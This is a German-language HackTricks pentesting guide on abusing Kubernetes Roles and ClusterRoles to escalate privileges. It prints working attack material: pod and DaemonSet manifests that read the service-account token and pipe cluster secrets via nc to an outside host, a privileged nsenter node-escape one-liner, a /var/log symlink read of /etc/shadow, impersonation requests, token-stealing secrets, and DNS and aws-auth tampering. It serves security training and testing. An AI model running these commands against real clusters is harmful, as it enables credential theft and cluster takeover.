Abusing Roles/ClusterRoles in Kubernetes
Reading time: 28 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Hier finden Sie einige potenziell gefährliche Rollen- und ClusterRoles-Konfigurationen.
Denken Sie daran, dass Sie alle unterstützten Ressourcen mit kubectl api-resources
abrufen können.
Privilegieneskalation
Dies bezieht sich auf die Kunst, Zugriff auf ein anderes Subjekt innerhalb des Clusters mit anderen Berechtigungen (innerhalb des Kubernetes-Clusters oder zu externen Clouds) zu erhalten, als die, die Sie bereits haben. In Kubernetes gibt es im Wesentlichen 4 Haupttechniken zur Eskalation von Berechtigungen:
- In der Lage sein, andere Benutzer/Gruppen/SAs zu impersonieren, die bessere Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds haben.
- In der Lage sein, Pods zu erstellen/zu patchen/auszuführen, in denen Sie SAs mit besseren Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds finden oder anhängen können.
- In der Lage sein, Secrets zu lesen, da die Tokens der SAs als Secrets gespeichert sind.
- In der Lage sein, zum Knoten zu entkommen von einem Container, wo Sie alle Secrets der auf dem Knoten laufenden Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er läuft (falls vorhanden), stehlen können.
- Eine fünfte Technik, die erwähnt werden sollte, ist die Fähigkeit, Port-Forward in einem Pod auszuführen, da Sie möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.
Zugriff auf jede Ressource oder jedes Verb (Wildcard)
Die Wildcard (*) gewährt Berechtigungen über jede Ressource mit jedem Verb. Sie wird von Administratoren verwendet. Innerhalb einer ClusterRole bedeutet dies, dass ein Angreifer jede Namespace im Cluster missbrauchen könnte.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Zugriff auf jede Ressource mit einem bestimmten Verb
In RBAC stellen bestimmte Berechtigungen erhebliche Risiken dar:
create
: Gewährt die Möglichkeit, jede Cluster-Ressource zu erstellen, was ein Risiko für die Eskalation von Berechtigungen darstellt.list
: Ermöglicht das Auflisten aller Ressourcen, was potenziell sensible Daten leaken könnte.get
: Erlaubt den Zugriff auf Geheimnisse von Dienstkonten, was eine Sicherheitsbedrohung darstellt.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod erstellen - Token stehlen
Ein Angreifer mit den Berechtigungen zum Erstellen eines Pods könnte ein privilegiertes Service-Konto in den Pod anhängen und das Token stehlen, um das Service-Konto zu impersonifizieren. Dadurch werden die Berechtigungen effektiv erhöht.
Beispiel eines Pods, der das Token des bootstrap-signer
Service-Kontos stehlen und es an den Angreifer senden wird:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Erstellen & Entkommen
Die folgenden Punkte zeigen alle Berechtigungen, die ein Container haben kann:
- Privilegierter Zugriff (Deaktivierung von Schutzmaßnahmen und Festlegung von Berechtigungen)
- Deaktivierung der Namespaces hostIPC und hostPid, die helfen können, Berechtigungen zu eskalieren
- Deaktivierung des hostNetwork-Namespaces, der Zugriff ermöglicht, um die Cloud-Berechtigungen der Knoten zu stehlen und besseren Zugang zu Netzwerken zu erhalten
- Mounten von Hosts / innerhalb des Containers
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Erstellen Sie das Pod mit:
kubectl --token $token create -f mount_root.yaml
Einzeiler aus diesem Tweet und mit einigen Ergänzungen:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Jetzt, da Sie zum Knoten entkommen können, überprüfen Sie die Post-Exploitation-Techniken in:
Stealth
Sie möchten wahrscheinlich stealthier sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, das nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
Sie finden Beispiele dafür, wie Sie die vorherigen privilegierten Pod-Konfigurationen erstellen/ausnutzen können in https://github.com/BishopFox/badPods
Pod erstellen - In die Cloud verschieben
Wenn Sie einen Pod (und optional ein Service-Konto) erstellen können, könnten Sie in der Lage sein, Berechtigungen in der Cloud-Umgebung zu erhalten, indem Sie Cloud-Rollen einem Pod oder einem Service-Konto zuweisen und dann darauf zugreifen.
Darüber hinaus, wenn Sie einen Pod mit dem Host-Netzwerk-Namespace erstellen können, können Sie die IAM-Rolle der Knoten-Instanz stehlen.
Für weitere Informationen überprüfen Sie:
Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs und Cronjobs erstellen/patchen
Es ist möglich, diese Berechtigungen auszunutzen, um einen neuen Pod zu erstellen und Berechtigungen wie im vorherigen Beispiel zu erlangen.
Die folgende YAML erstellt ein Daemonset und exfiltriert das Token des SA innerhalb des Pods:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec
ist eine Ressource in Kubernetes, die zum Ausführen von Befehlen in einer Shell innerhalb eines Pods verwendet wird. Dies ermöglicht es, Befehle innerhalb der Container auszuführen oder eine Shell zu erhalten.
Daher ist es möglich, in einen Pod zu gelangen und das Token des SA zu stehlen, oder in einen privilegierten Pod einzutreten, zum Knoten zu entkommen und alle Tokens der Pods im Knoten zu stehlen und (miss)zu verwenden:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
note
Standardmäßig wird der Befehl im ersten Container des Pods ausgeführt. Holen Sie sich alle Pods in einem Container mit kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'
und geben Sie dann den Container an, in dem Sie ihn ausführen möchten, mit kubectl exec -it <pod_name> -c <container_name> -- sh
Wenn es sich um einen distroless Container handelt, können Sie versuchen, Shell-Befehle zu verwenden, um Informationen über die Container zu erhalten oder Ihre eigenen Tools wie eine busybox hochzuladen mit: kubectl cp </path/local/file> <podname>:</path/in/container>
.
port-forward
Diese Berechtigung ermöglicht es, einen lokalen Port an einen Port im angegebenen Pod weiterzuleiten. Dies soll es ermöglichen, Anwendungen, die innerhalb eines Pods ausgeführt werden, einfach zu debuggen, aber ein Angreifer könnte dies missbrauchen, um Zugriff auf interessante (wie DBs) oder anfällige Anwendungen (Webs?) innerhalb eines Pods zu erhalten:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
Wie in dieser Forschung angegeben, wenn Sie auf ein Pod zugreifen oder ein Pod mit dem hosts /var/log/
Verzeichnis montiert darauf erstellen können, können Sie aus dem Container entkommen.
Das liegt im Wesentlichen daran, dass, wenn die Kube-API versucht, die Protokolle eines Containers abzurufen (unter Verwendung von kubectl logs <pod>
), sie die 0.log
Datei des Pods über den /logs/
Endpunkt des Kubelet Dienstes anfordert.
Der Kubelet-Dienst exponiert den /logs/
Endpunkt, der im Grunde genommen das /var/log
Dateisystem des Containers exponiert.
Daher könnte ein Angreifer mit Zugriff auf das Schreiben im /var/log/ Ordner des Containers dieses Verhalten auf 2 Arten ausnutzen:
- Modifizieren der
0.log
Datei seines Containers (normalerweise zu finden in/var/logs/pods/namespace_pod_uid/container/0.log
), um ein Symlink zu/etc/shadow
zu sein, zum Beispiel. Dann können Sie die Schatten-Datei des Hosts exfiltrieren, indem Sie:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Wenn der Angreifer einen Principal mit den Berechtigungen zum Lesen von
nodes/log
kontrolliert, kann er einfach einen symlink in/host-mounted/var/log/sym
zu/
erstellen und beim Zugriff aufhttps://<gateway>:10250/logs/sym/
wird er das Root-Dateisystem des Hosts auflisten (Ändern des symlinks kann Zugriff auf Dateien gewähren).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Ein Labor und ein automatisierter Exploit sind zu finden unter https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Umgehung des readOnly-Schutzes
Wenn Sie das Glück haben und die hochprivilegierte Fähigkeit CAP_SYS_ADMIN
verfügbar ist, können Sie den Ordner einfach als rw erneut einhängen:
mount -o rw,remount /hostlogs/
Umgehung des hostPath readOnly-Schutzes
Wie in dieser Forschung angegeben, ist es möglich, den Schutz zu umgehen:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Was dazu gedacht war, Ausbrüche wie die vorherigen zu verhindern, indem anstelle einer hostPath-Mount ein PersistentVolume und ein PersistentVolumeClaim verwendet werden, um einen Ordner des Hosts im Container mit schreibbarem Zugriff zu mounten:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Impersonation von privilegierten Konten
Mit einem Benutzer-Impersonation Privileg könnte ein Angreifer ein privilegiertes Konto impersonieren.
Verwenden Sie einfach den Parameter --as=<username>
im kubectl
Befehl, um einen Benutzer zu impersonieren, oder --as-group=<group>
, um eine Gruppe zu impersonieren:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Oder verwenden Sie die REST-API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Auflisten von Geheimnissen
Die Berechtigung, Geheimnisse aufzulisten, könnte einem Angreifer tatsächlich ermöglichen, die Geheimnisse zu lesen, indem er auf den REST-API-Endpunkt zugreift:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Erstellen und Lesen von Secrets
Es gibt eine spezielle Art von Kubernetes-Secret vom Typ kubernetes.io/service-account-token, das Serviceaccount-Token speichert. Wenn Sie die Berechtigungen zum Erstellen und Lesen von Secrets haben und auch den Namen des Serviceaccounts kennen, können Sie ein Secret wie folgt erstellen und dann das Token des betroffenen Serviceaccounts daraus stehlen:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Beispielausnutzung:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Beachten Sie, dass, wenn Sie in einem bestimmten Namespace Secrets erstellen und lesen dürfen, das Opfer-Servicekonto sich ebenfalls in diesem Namespace befinden muss.
Lesen eines Secrets – Brute-Forcing von Token-IDs
Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Secrets benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren Listing Secrets-Privileg dennoch Schwachstellen. Standard-Servicekonten im System können aufgelistet werden, wobei jedes mit einem Secret verknüpft ist. Diese Secrets haben eine Namensstruktur: ein statisches Präfix, gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem Quellcode.
Das Token wird aus einem begrenzten 27-Zeichen-Satz (bcdfghjklmnpqrstvwxz2456789
) generiert, anstatt aus dem vollständigen alphanumerischen Bereich. Diese Einschränkung reduziert die insgesamt möglichen Kombinationen auf 14.348.907 (27^5). Folglich könnte ein Angreifer theoretisch einen Brute-Force-Angriff durchführen, um das Token innerhalb weniger Stunden zu ermitteln, was möglicherweise zu einer Privilegieneskalation durch den Zugriff auf sensible Servicekonten führen könnte.
EncryptionConfiguration im Klartext
Es ist möglich, Klartextschlüssel zu finden, um Daten im Ruhezustand in dieser Art von Objekt zu verschlüsseln, wie:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Certificate Signing Requests
Wenn Sie das Verb create
in der Ressource certificatesigningrequests
(oder zumindest in certificatesigningrequests/nodeClient
) haben. Können Sie create ein neues CeSR eines neuen Knotens.
Laut der Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen, sodass Sie in diesem Fall keine zusätzlichen Berechtigungen benötigen. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was ein Update in certificatesigningrequests/approval
und approve
in signers
mit resourceName <signerNameDomain>/<signerNamePath>
oder <signerNameDomain>/*
bedeutet.
Ein Beispiel für eine Rolle mit allen erforderlichen Berechtigungen ist:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
So, mit dem genehmigten neuen Node CSR kannst du die besonderen Berechtigungen von Nodes ausnutzen, um Geheimnisse zu stehlen und Berechtigungen zu eskalieren.
In diesem Beitrag und diesem hier ist die GKE K8s TLS Bootstrap-Konfiguration mit automatischer Signierung konfiguriert, und sie wird ausgenutzt, um Anmeldeinformationen eines neuen K8s Nodes zu generieren und diese dann zu missbrauchen, um Berechtigungen zu eskalieren, indem Geheimnisse gestohlen werden.
Wenn du die genannten Berechtigungen hast, könntest du dasselbe tun. Beachte, dass das erste Beispiel den Fehler umgeht, der verhindert, dass ein neuer Node auf Geheimnisse innerhalb von Containern zugreift, da ein Node nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm gemountet sind.
Der Weg, dies zu umgehen, besteht einfach darin, Anmeldeinformationen für den Node-Namen zu erstellen, unter dem der Container mit den interessanten Geheimnissen gemountet ist (aber schau dir einfach an, wie man es im ersten Beitrag macht):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Prinzipien, die configmaps
im kube-system-Namespace auf EKS (müssen in AWS sein) Clustern ändern können, können Cluster-Admin-Rechte erlangen, indem sie die aws-auth configmap überschreiben.
Die benötigten Verben sind update
und patch
, oder create
, wenn die configmap nicht erstellt wurde:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
warning
Sie können aws-auth
für Persistenz verwenden, um Benutzern aus anderen Konten Zugriff zu gewähren.
Allerdings funktioniert aws --profile other_account eks update-kubeconfig --name <cluster-name>
nicht von einem anderen Konto. Aber tatsächlich funktioniert aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
, wenn Sie die ARN des Clusters anstelle nur des Namens eingeben.
Um kubectl
zum Laufen zu bringen, stellen Sie einfach sicher, dass Sie die kubeconfig des Opfers konfigurieren und in den aws exec-Argumenten --profile other_account_role
hinzufügen, damit kubectl das Profil des anderen Kontos verwendet, um das Token zu erhalten und AWS zu kontaktieren.
CoreDNS config map
Wenn Sie die Berechtigungen haben, die coredns
configmap im kube-system
Namespace zu ändern, können Sie die Adressen ändern, auf die Domains aufgelöst werden, um MitM-Angriffe durchzuführen, um sensible Informationen zu stehlen oder bösartigen Inhalt einzufügen.
Die benötigten Verben sind update
und patch
über die coredns
configmap (oder alle config maps).
Eine reguläre coredns-Datei enthält etwas wie dies:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Ein Angreifer könnte es herunterladen, indem er kubectl get configmap coredns -n kube-system -o yaml
ausführt, es modifizieren, indem er etwas hinzufügt wie rewrite name victim.com attacker.com
, sodass jedes Mal, wenn victim.com
aufgerufen wird, tatsächlich attacker.com
die Domain ist, die aufgerufen wird. Und dann anwenden, indem er kubectl apply -f poison_dns.yaml
ausführt.
Eine andere Option ist, die Datei einfach zu bearbeiten, indem er kubectl edit configmap coredns -n kube-system
ausführt und Änderungen vornimmt.
Eskalation in GKE
Es gibt 2 Möglichkeiten, K8s-Berechtigungen GCP-Prinzipien zuzuweisen. In jedem Fall benötigt das Prinzip auch die Berechtigung container.clusters.get
, um Anmeldeinformationen zum Zugriff auf den Cluster zu sammeln, oder Sie müssen Ihre eigene kubectl-Konfigurationsdatei generieren (folgen Sie dem nächsten Link).
warning
Wenn Sie mit dem K8s-API-Endpunkt sprechen, wird das GCP-Auth-Token gesendet. Dann wird GCP über den K8s-API-Endpunkt zuerst überprüfen, ob das Prinzip (per E-Mail) Zugriff innerhalb des Clusters hat, dann wird überprüft, ob es irgendwelchen Zugriff über GCP IAM hat.
Wenn irgendeines davon wahr ist, wird er antworten. Wenn nicht, wird ein Fehler angezeigt, der vorschlägt, Berechtigungen über GCP IAM zu erteilen.
Dann ist die erste Methode die Verwendung von GCP IAM, die K8s-Berechtigungen haben ihre entsprechenden GCP IAM-Berechtigungen, und wenn das Prinzip diese hat, kann es sie verwenden.
Die zweite Methode besteht darin, K8s-Berechtigungen innerhalb des Clusters zuzuweisen, indem der Benutzer über seine E-Mail identifiziert wird (GCP-Dienstkonten eingeschlossen).
Erstellen von Serviceaccounts-Token
Prinzipien, die TokenRequests (serviceaccounts/token
) erstellen können, wenn sie mit dem K8s-API-Endpunkt sprechen (Informationen von hier).
ephemeralcontainers
Prinzipien, die update
oder patch
pods/ephemeralcontainers
können Codeausführung auf anderen Pods erlangen und potenziell ausbrechen zu ihrem Knoten, indem sie einen ephemeral container mit einem privilegierten securityContext hinzufügen.
ValidatingWebhookConfigurations oder MutatingWebhookConfigurations
Prinzipien mit einem der Verben create
, update
oder patch
über validatingwebhookconfigurations
oder mutatingwebhookconfigurations
könnten in der Lage sein, eine solche webhookconfiguration zu erstellen, um Berechtigungen zu eskalieren.
Für ein mutatingwebhookconfigurations
Beispiel, überprüfen Sie diesen Abschnitt dieses Beitrags.
Eskalieren
Wie Sie im nächsten Abschnitt lesen können: Integrierte Prävention der privilegierten Eskalation, kann ein Prinzip weder Rollen noch Clusterrollen aktualisieren oder erstellen, ohne selbst diese neuen Berechtigungen zu haben. Es sei denn, es hat das Verb escalate
oder *
über roles
oder clusterroles
und die entsprechenden Bindungsoptionen.
Dann kann er neue Rollen, Clusterrollen mit besseren Berechtigungen als die, die er hat, aktualisieren/erstellen.
Nodes-Proxy
Prinzipien mit Zugriff auf die nodes/proxy
Unterressource können Code auf Pods ausführen über die Kubelet-API (laut diesem). Weitere Informationen zur Kubelet-Authentifizierung finden Sie auf dieser Seite:
Kubelet Authentication & Authorization
Sie haben ein Beispiel, wie Sie RCE erhalten, indem Sie autorisiert mit einer Kubelet-API sprechen.
Pods löschen + nicht planbare Knoten
Prinzipien, die Pods löschen können (delete
Verb über pods
Ressource), oder Pods evakuieren (create
Verb über pods/eviction
Ressource), oder Pod-Status ändern (Zugriff auf pods/status
) und andere Knoten nicht planbar machen (Zugriff auf nodes/status
) oder Knoten löschen (delete
Verb über nodes
Ressource) und Kontrolle über einen Pod haben, könnten Pods von anderen Knoten stehlen, sodass sie in dem kompromittierten Knoten ausgeführt werden und der Angreifer die Tokens von diesen Pods stehlen kann.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Services status (CVE-2020-8554)
Principals, die services/status
modifizieren können, dürfen das Feld status.loadBalancer.ingress.ip
setzen, um die nicht behobene CVE-2020-8554 auszunutzen und MiTM-Angriffe gegen den Cluster zu starten. Die meisten Minderungstechniken für CVE-2020-8554 verhindern nur ExternalIP-Dienste (laut diesem).
Nodes and Pods status
Principals mit update
oder patch
Berechtigungen über nodes/status
oder pods/status
könnten Labels modifizieren, um die durchgesetzten Planungsbeschränkungen zu beeinflussen.
Built-in Privileged Escalation Prevention
Kubernetes hat einen eingebauten Mechanismus, um Privilegieneskalation zu verhindern.
Dieses System stellt sicher, dass Benutzer ihre Berechtigungen nicht erhöhen können, indem sie Rollen oder Rollenzuweisungen modifizieren. Die Durchsetzung dieser Regel erfolgt auf API-Ebene und bietet einen Schutz, selbst wenn der RBAC-Autorisierer inaktiv ist.
Die Regel besagt, dass ein Benutzer eine Rolle nur erstellen oder aktualisieren kann, wenn er alle Berechtigungen besitzt, die die Rolle umfasst. Darüber hinaus muss der Umfang der bestehenden Berechtigungen des Benutzers mit dem der Rolle übereinstimmen, die er zu erstellen oder zu modifizieren versucht: entweder clusterweit für ClusterRoles oder auf denselben Namespace (oder clusterweit) für Roles.
warning
Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das Verb escalate
über roles
oder clusterroles
hat, kann er die Berechtigungen von Rollen und ClusterRoles erhöhen, auch ohne die Berechtigungen selbst zu besitzen.
Get & Patch RoleBindings/ClusterRoleBindings
caution
Offensichtlich hat diese Technik früher funktioniert, aber laut meinen Tests funktioniert sie aus dem gleichen Grund, der im vorherigen Abschnitt erklärt wurde, nicht mehr. Du kannst kein Rolebinding erstellen/modifizieren, um dir selbst oder einem anderen SA einige Berechtigungen zu geben, wenn du sie nicht bereits hast.
Das Privileg, Rolebindings zu erstellen, ermöglicht es einem Benutzer, Rollen an ein Servicekonto zu binden. Dieses Privileg kann potenziell zu einer Privilegieneskalation führen, da es dem Benutzer erlaubt, Administratorberechtigungen an ein kompromittiertes Servicekonto zu binden.
Other Attacks
Sidecar proxy app
